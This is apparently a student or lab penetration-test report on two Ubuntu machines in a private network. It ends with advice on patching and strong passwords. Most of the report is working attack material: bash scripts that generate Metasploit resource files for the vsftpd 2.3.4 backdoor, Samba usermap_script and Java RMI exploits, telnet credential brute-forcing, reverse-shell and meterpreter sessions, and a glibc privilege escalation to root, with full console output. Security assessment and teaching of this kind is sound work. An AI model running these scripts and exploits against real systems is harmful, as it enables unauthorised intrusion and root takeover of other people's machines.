October 21, 2022

Security Audit Report for ABC Company

Document Details

Title	Details
COMPLETED ON:	OCTOBER 21, 2022
REPORT TYPE:	MANUAL SCAN
PREPARED BY:	AARON YEAP CHUN KEAT
CONTACT:	ckyeap9310@gmail.com

Table of Contents

1. Executive Summary
2. Methodology/ Approach
3. Results
4. Conclusion and Suggestions
5. Appendix

1. Executive Summary

This document contains the initial security assessment report for :

{a small network containing 2 ubuntu machines}

ABC company suspects that they could be vulnerable and be potential hacking target. The purpose of this assessment was to point out security loopholes and missing best security practices. The tests were carried out assuming the identity of an attacker or a malicious user but no harm was made to the functionality or working of the network.

1.1 Scope of Testing

Security assessment includes testing for potential open ports which might be vulnerable and can be exploited for attacker to gain access and even privilege escalation, leads to full control of the machines.

1.2 Overall findings

Machine ID: 192.168.142.139

Ports	Status	Services	Severity
21	open	Vsftpd 2.3.4	High
139	open	Samba smbd	High
1099	open	Java RMI	High
512	open	Netkit-rsh rexecd	High
2121	open	ProFTPD 1.3.1	High

Total open ports: 14

Out of 14 open ports, 5 of the ports listed above are critically vulnerable as attacker might eventually gain access as root.

- Through enumeration and obtain the combination of user and weak password such as root:root under rexec-brute force using port 512.
- Exploit using known vulnerability and gain meterpreter access as root (full control of system).

Machine ID: 192.168.142.142

Ports	Status	Services	Severity
23	open	telnet	Medium
80	open	HTTP	Medium
1099	open	Java RMI	High
2121	open	ProFTPD 1.3.1	Medium

Total open ports: 9

Out of 9 open ports,4 of the ports listed above are labelled as high and medium risk.

- List of users are leaked on company website through port 80. This provides attacker convenient to brute force against popular weak passwords. It can be done through port 23 telnet service. If there is matching combination, attacker will gain access to system with or without root privilege depending on user account setting. The leak users are not having root privilege, but attacker is able to perform post exploitation to eventually obtain root access through privilege escalation.
- Attacker is able to exploit on know vulnerability to gain root access using Java RMI service.

2. Methodology / Approach

In this assessment, I will be testing on some of those common open ports that are critically vulnerable and have known exploits scripts available online. I will run my own script which involves tools listed below.

Tools involved in this assessment:

- Nmap (including NSE scripts)
- Searchsploit
- Metasploit

3. Result

Machine: 192.168.142.139

Nmap result

Script command (IP refers to Machine's IP Address)

```
    nmap "$IP" -p- -sV -oX ./$IP/"$IP"nmap.xml  -oN ./$IP/"$IP"nmap.txt
}
```

Scan result for all open ports

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	vsftpd 2.3.4
25/tcp	open	smtp	Postfix smtpd
53/tcp	open	domain	ISC BIND 9.4.2
111/tcp	open	rpcbind	2 (RPC #100000)
139/tcp	open	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp	open	exec	netkit-rsh rexecd
513/tcp	open	login	OpenBSD or Solaris rlogind
1099/tcp	open	java-rmi	GNU Classpath grmiregistry
2121/tcp	open	ftp	ProFTPD 1.3.1
3632/tcp	open	distccd	distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
8180/tcp	open	http	Apache Tomcat/Coyote JSP engine 1.1
8787/tcp	open	drb	Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
36516/tcp	open	java-rmi	GNU Classpath grmiregistry
39173/tcp	open	nlockmgr	1-4 (RPC #100021)
53386/tcp	open	mountd	1-3 (RPC #100005)
56491/tcp	open	status	1 (RPC #100024)

Nmap result using brute category scripts.

Script command

```
nmap "$IP" -p- -sV --script=brute -oN ./$IP/"$IP"nmapbrute.txt
```

Result

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	vsftpd 2.3.4
| ftp-brute: | Accounts: | user:user - Valid credentials			
111/tcp	open	rpcbind	2 (RPC #100000)
| rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/udp nfs | 100005 1,2,3 51259/udp mountd | 100005 1,2,3 54137/tcp mountd | 100021 1,3,4 33314/udp nlockmgr | 100021 1,3,4 47315/tcp nlockmgr | 100024 1 47856/udp status |_ 100024 1 60363/tcp status			
512/tcp	open	exec	netkit-rsh rexecd
rexec-brute: | Accounts: | root:root - Valid credentials | netadmin:netadmin - Valid credentials | guest:guest - Valid credentials | user:user - Valid credentials | web:web - Valid credentials | sysadmin:sysadmin - Valid credentials | administrator:administrator - Valid credentials | webadmin:webadmin - Valid credentials | admin:admin - Valid credentials | test:test - Valid credentials			
2121/tcp	open	ftp	ProFTPD 1.3.1
| ftp-brute: | Accounts: | user:user - Valid credentials			
8180/tcp	open	http	Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1 | http-brute: |_ Path "/" does not require authentication			
Host script results: | smb-brute: | msfadmin:msfadmin => Valid credentials			

|_ user:user => Valid credentials

Successful Exploit

1) Using msfconsole via port 21 - vsftpd

Script command

```
read -p "Please provide IP Address that you want to exploit : " IP
echo 'use exploit/unix/ftp/vsftpd_234_backdoor' > ./$IP/vsftpd234_scriptest.rc
echo "set rhosts $IP" >> ./$IP/vsftpd234_scriptest.rc
echo "run" >> ./$IP/vsftpd234_scriptest.rc
msfconsole -r ./$IP/vsftpd234_scriptest.rc
```

Result

```
Metasploit tip: Use sessions -1 to interact with the
last opened session
Metasploit Documentation: https://docs.metasploit.com/

[*] Processing ./192.168.142.139/vsftpd234_scriptest.rc for ERB directives.
resource (./192.168.142.139/vsftpd234_scriptest.rc)> use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
resource (./192.168.142.139/vsftpd234_scriptest.rc)> set rhosts 192.168.142.139
rhosts => 192.168.142.139
resource (./192.168.142.139/vsftpd234_scriptest.rc)> run
[*] 192.168.142.139:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.142.139:21 - USER: 331 Please specify the password.
[+] 192.168.142.139:21 - Backdoor service has been spawned, handling...
[+] 192.168.142.139:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.142.129:37129 -> 192.168.142.139:6200) at 2022-10-20 23:39:55 -0400
```

The access granted: root

2) Using msfconsole via port 139 - Samba smbd

Script command

```
read -p "Please provide IP Address that you want to exploit : " IP
rport=$(cat ./$IP/"$IP"nmapbrute.txt | grep open | grep -w "Samba smbd" | awk -F / '{print $1}')
echo 'exploit/multi/samba/usermap_script' > ./$IP/samba_scriptest.rc
echo "set rhosts $IP" >> ./$IP/samba_scriptest.rc
echo "set rport $rport" >> ./$IP/samba_scriptest.rc
echo "run" >> ./$IP/samba_scriptest.rc
msfconsole -r ./$IP/samba_scriptest.rc
```

Result

```
Metasploit Documentation: https://docs.metasploit.com/

[*] Processing ./192.168.142.139/samba_scriptest.rc for ERB directives.
resource (./192.168.142.139/samba_scriptest.rc)> exploit/multi/samba/usermap_script
[-] Unknown command: exploit/multi/samba/usermap_script
This is a module we can load. Do you want to use exploit/multi/samba/usermap_script? [y/N]   y
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
resource (./192.168.142.139/samba_scriptest.rc)> set rhosts 192.168.142.139
rhosts => 192.168.142.139
resource (./192.168.142.139/samba_scriptest.rc)> set rport 139
rport => 139
resource (./192.168.142.139/samba_scriptest.rc)> run

[*] Started reverse TCP handler on 192.168.142.129:4444
[*] Command shell session 1 opened (192.168.142.129:4444 -> 192.168.142.139:50000) at 2022-10-21 00:18:22 -0400

whoami
root
pwd
/
```

The access granted: root

3) Using msfconsole via port 1099 or 36516 - Java RMI

Script

```
read -p "Please provide IP Address that you want to exploit : " IP
rport=$(cat ./$IP/"$IP"nmapbrute.txt | grep open | grep -w "java-rmi" | awk -F / '{print $1}')
echo 'use exploit/multi/misc/java_rmi_server' > ./$IP/javarmi_scriptest.rc
echo "set rhosts $IP" >> ./$IP/javarmi_scriptest.rc
echo "set rport $rport" >> ./$IP/javarmi_scriptest.rc
echo "run" >> ./$IP/javarmi_scriptest.rc
msfconsole -r ./$IP/javarmi_scriptest.rc
```

Result

```
[*] Processing ./192.168.142.139/javarmi_scriptest.rc for ERB directives.
resource (./192.168.142.139/javarmi_scriptest.rc)> use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
resource (./192.168.142.139/javarmi_scriptest.rc)> set rhosts 192.168.142.139
rhosts => 192.168.142.139
resource (./192.168.142.139/javarmi_scriptest.rc)> set rport 1099
rport => 1099
resource (./192.168.142.139/javarmi_scriptest.rc)> 36516
[-] Unknown command: 36516
resource (./192.168.142.139/javarmi_scriptest.rc)> run
[*] Started reverse TCP handler on 192.168.142.129:4444
[*] 192.168.142.139:1099 - Using URL: http://192.168.142.129:8080/saXvA7tOj
[*] 192.168.142.139:1099 - Server started.
[*] 192.168.142.139:1099 - Sending RMI Header...
[*] 192.168.142.139:1099 - Sending RMI Call...
[*] 192.168.142.139:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.142.139
[*] Meterpreter session 1 opened (192.168.142.129:4444 -> 192.168.142.139:57253) at 2022-10-21 00:14:02 -0400

meterpreter >
```

The access granted: root

4) Login using credential of ‘user’ for user and password via port 2121 - Proftpd or 21 – ftp

Result

```
└─$ ftp 192.168.142.139 -p 2121
Connected to 192.168.142.139.
220 ProFTPD 1.3.1 Server (Debian) [::ffff:192.168.142.139]
Name (192.168.142.139:kali): user
331 Password required for user
Password:
230 User user logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
Remote directory: /home/user
```

Access granted: user

Machine: 192.168.142.142

Nmap result

Scan result for all open ports

PORT	STATE	SERVICE	VERSION
23/tcp	open	telnet	Linux telnetd
25/tcp	open	smtp	Postfix smtpd
80/tcp	open	http	Apache httpd 2.2.8 ((Ubuntu) DAV/2)
2121/tcp	open	ftp	ProFTPD 1.3.1
8180/tcp	open	http	Apache Tomcat/Coyote JSP engine 1.1
36157/tcp	open	mountd	1-3 (RPC #100005)
48679/tcp	open	java-rmi	GNU Classpath grmiregistry
51615/tcp	open	status	1 (RPC #100024)
59036/tcp	open	nlockmgr	1-4 (RPC #100021

Nmap result using brute category scripts.

Result

PORT	STATE	SERVICE	VERSION
23/tcp	open	telnet	Linux telnetd
| telnet-brute: | Accounts: No valid accounts found | Statistics: Performed 0 guesses in 1 seconds, average tps: 0.0 |_ ERROR: The service seems to have failed or is heavily firewalled... |_tso-enum: ERROR: Script execution failed (use -d to debug) |_vtam-enum: Not VTAM or 'logon applid' command not accepted. Try with script arg 'vtam-enum.macros=true'			
80/tcp	open	http	Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_citrix-brute-xml: FAILED: No domain specified (use ntdomain argument) | http-brute: |_ Path "/" does not require authentication |_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2			
2121/tcp	open	ftp	ProFTPD 1.3.1
| ftp-brute: | Accounts: No valid accounts found | Statistics: Performed 0 guesses in 1 seconds, average tps: 0.0 |_ ERROR: The service seems to have failed or is heavily firewalled...			
8180/tcp	open	http	Apache Tomcat/Coyote JSP engine 1.1
| http-brute: |_ Path "/" does not require authentication |_http-server-header: Apache-Coyote/1.1			

Successful exploit

1) Using msfconsole via port 23 - telnet

Script command

```
read -p "Please provide IP Address that you want to exploit : " IP
echo 'use auxiliary/scanner/telnet/telnet_login' > ./$IP/telnet_scriptest.rc
echo "set rhosts $IP" >> ./$IP/telnet_scriptest.rc
echo "set pass_file password.txt" >> ./$IP/telnet_scriptest.rc
echo "set user_file user.txt" >> ./$IP/telnet_scriptest.rc
echo "run" >> ./$IP/telnet_scriptest.rc
msfconsole -r ./$IP/telnet_scriptest.rc
```

Result

```
[-] 192.168.142.142:23    - 192.168.142.142:23 - LOGIN FAILED: kali:1234 (Incorrect: )
[-] 192.168.142.142:23    - 192.168.142.142:23 - LOGIN FAILED: kali:qwertyuiop (Incorrect: )
[-] 192.168.142.142:23    - 192.168.142.142:23 - LOGIN FAILED: kali:123321 (Incorrect: )
[-] 192.168.142.142:23    - 192.168.142.142:23 - LOGIN FAILED: kali:password123 (Incorrect: )
[-] 192.168.142.142:23    - 192.168.142.142:23 - LOGIN FAILED: kali:user (Incorrect: )
[+] 192.168.142.142:23    - 192.168.142.142:23 - Login Successful: ledeen:123123
[*] 192.168.142.142:23    - Attempting to start session 192.168.142.142:23 with ledeen:123123
[*] Command shell session 1 opened (192.168.142.129:35877 -> 192.168.142.142:23) at 2022-10-21 03:22:36 -0400
[*] 192.168.142.142:23    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_login) > sessions

Active sessions
===============

  Id  Name  Type   Information                              Connection
  --  ----  ----   -----------                              ----------
  1         shell  TELNET ledeen:123123 (192.168.142.142:23)  192.168.142.129:35877 -> 192.168.142.142:23 (192.168.142.142)

msf6 auxiliary(scanner/telnet/telnet_login) > sessions 1
[*] Starting interaction with 1...


Shell Banner:
ledeen@pt003:~$
-----
```

The access granted: ledeen

2) Login using ID, “ledeen” (leaked on company website, port 80) and password (123123 found through telnet exploit).

```
└─$ ftp 192.168.142.142 -p 2121
Connected to 192.168.142.142.
220 ProFTPD 1.3.1 Server (Debian) [::ffff:192.168.142.142]
Name (192.168.142.142:kali): ledeen
331 Password required for ledeen
Password:
230 User ledeen logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Post Exploitation

In order to escalate the privilege to become root access, I upgrade the session from shell to meterpreter.

```
[*] Command shell session 1 opened (192.168.142.129:39227 → 192.168.142.142:23) at 2022-10-21 03:57:03 -0400
[*] 192.168.142.142:23    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_login) > sessions

Active sessions
===============

  Id  Name  Type   Information                                Connection
  --  ----  ----   -----------                                ----------
  1         shell  TELNET ledeen:123123 (192.168.142.142:23)  192.168.142.129:39227 → 192.168.142.142:23 (192.168.142.142)

msf6 auxiliary(scanner/telnet/telnet_login) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform:
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.142.129:4433
[*] Sending stage (1017704 bytes) to 192.168.142.142
[*] Meterpreter session 2 opened (192.168.142.129:4433 → 192.168.142.142:43746) at 2022-10-21 03:57:24 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 auxiliary(scanner/telnet/telnet_login) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                Connection
  --  ----  ----                   -----------                                ----------
  1         shell                  TELNET ledeen:123123 (192.168.142.142:23)  192.168.142.129:39227 → 192.168.142.142:23 (192.168.142.142)
  2         meterpreter x86/linux  ledeen @ 192.168.142.142                   192.168.142.129:4433 → 192.168.142.142:43746 (192.168.142.142)

msf6 auxiliary(scanner/telnet/telnet_login) > sessions 2
[*] Starting interaction with 2...
```

Then, I proceed to use msfconsole post suggester to look for possible way to gain root access.

```
msf6 auxiliary(scanner/telnet/telnet_login) > search type:post suggester

Matching Modules
================

   #  Name                                          Disclosure Date  Rank    Check  Description
   -  ----                                          ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester                       normal  No     Multi Recon Local Exploit Suggester


Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

msf6 auxiliary(scanner/telnet/telnet_login) > use 0
msf6 post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits

msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
```

```
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.142.142 - Collecting local exploits for x86/linux...
[*] 192.168.142.142 - 170 exploit checks are being tried...
[+] 192.168.142.142 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[+] 192.168.142.142 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[+] 192.168.142.142 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.142.142 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[+] 192.168.142.142 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.142.142 - exploit/unix/local/setuid_nmap: The target is vulnerable.

[*] 192.168.142.142 - Valid modules for session 2:
================================================

 #   Name                                                  Potentially Vulnerable?  Check Result
 -   ----                                                  -----------------------  ------------
 1   exploit/linux/local/glibc_ld_audit_dso_load_priv_esc  Yes                      The target appears to be vulnerable.
 2   exploit/linux/local/glibc_origin_expansion_priv_esc   Yes                      The target appears to be vulnerable.
 3   exploit/linux/local/netfilter_priv_esc_ipv4           Yes                      The target appears to be vulnerable.
 4   exploit/linux/local/ptrace_sudo_token_priv_esc        Yes                      The service is running, but could not be validated.
 5   exploit/linux/local/su_login                          Yes                      The target appears to be vulnerable.
 6   exploit/unix/local/setuid_nmap                        Yes                      The target is vulnerable.
 7   exploit/linux/local/abrt_raceabrt_priv_esc            No                       The target is not exploitable.
 8   exploit/linux/local/abrt_sosreport_priv_esc           No                       The target is not exploitable.
 9   exploit/linux/local/af_packet_chocobo_root_priv_esc   No                       The target is not exploitable. System architecture i686 is not supported
 10  exploit/linux/local/af_packet_packet_set_ring_priv_esc  No                    The target is not exploitable.
 11  exploit/linux/local/apport_abrt_chroot_priv_esc       No                       The target is not exploitable.
 12  exploit/linux/local/asan_suid_executable_priv_esc     No                       The check raised an exception.
 13  exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc  No                 The target is not exploitable.
 14  exploit/linux/local/bpf_priv_esc                      No                       The target is not exploitable.
```

I try to test the first suggestion: exploit/linux/local/glibc_ld_audit_dso_load_priv_esc.
In first attempt, the exploit completed but no session was created.

```
msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   SESSION                          yes       The session to run this module on
   SUID_EXECUTABLE  /bin/ping       yes       Path to a SUID executable


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.142.129  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 2
session => 2
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run

[*] Started reverse TCP handler on 192.168.142.129:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.6WDPeub9' (1271 bytes) ...
[*] Writing '/tmp/.iHBirPYa' (286 bytes) ...
[*] Writing '/tmp/.PqNq9XaFh' (250 bytes) ...
[*] Launching exploit ...
[*] Exploit completed, but no session was created.
```

I try to change the payload to x86 (32 bits) and I manage to gain access into meterpreter with root access.

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload payload/linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run

[*] Started reverse TCP handler on 192.168.142.129:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.b0WQjv' (1279 bytes) ...
[*] Writing '/tmp/.JxFFwC6' (276 bytes) ...
[*] Writing '/tmp/.zKlrDFZSf6' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1017704 bytes) to 192.168.142.142
[*] Meterpreter session 3 opened (192.168.142.129:4444 → 192.168.142.142:50664) at 2022-10-21 04:06:34 -0400

meterpreter > whoami
[-] Unknown command: whoami
meterpreter > getuid
Server username: root
meterpreter >
```

4. Conclusion / Suggestions

As shown from Section 3- Results, attacker is able to gain root access for both machines. Thus, it is imperative to fix or mitigate those vulnerable ports by closing the unused ports.

Another loophole is using weak passwords. System admin can cross reference existing user's password with popular weak password listed online. A general rule is using at least 12 digits passwords with combination of number, alphabet, upper, lower and special characters.

Please update the service's version to latest version (if can) or applying the available patches (if any) as those patches have already address those vulnerabilities.

Last but not least, please look out for leaked credentials online be it on own company website or in site like www.pastebin.com. If the user ID and password can be found online, please proceed to change the ID and password.

5. Appendix

Searchsploit output for potential vulnerability

192.168.142.139searchsploit.txt

192.168.142.142searchsploit.txt

Script used in assessment

vulner.sh

Hash password copy and download from target machine

password.txt

Leaked users in company website (192.168.142.142)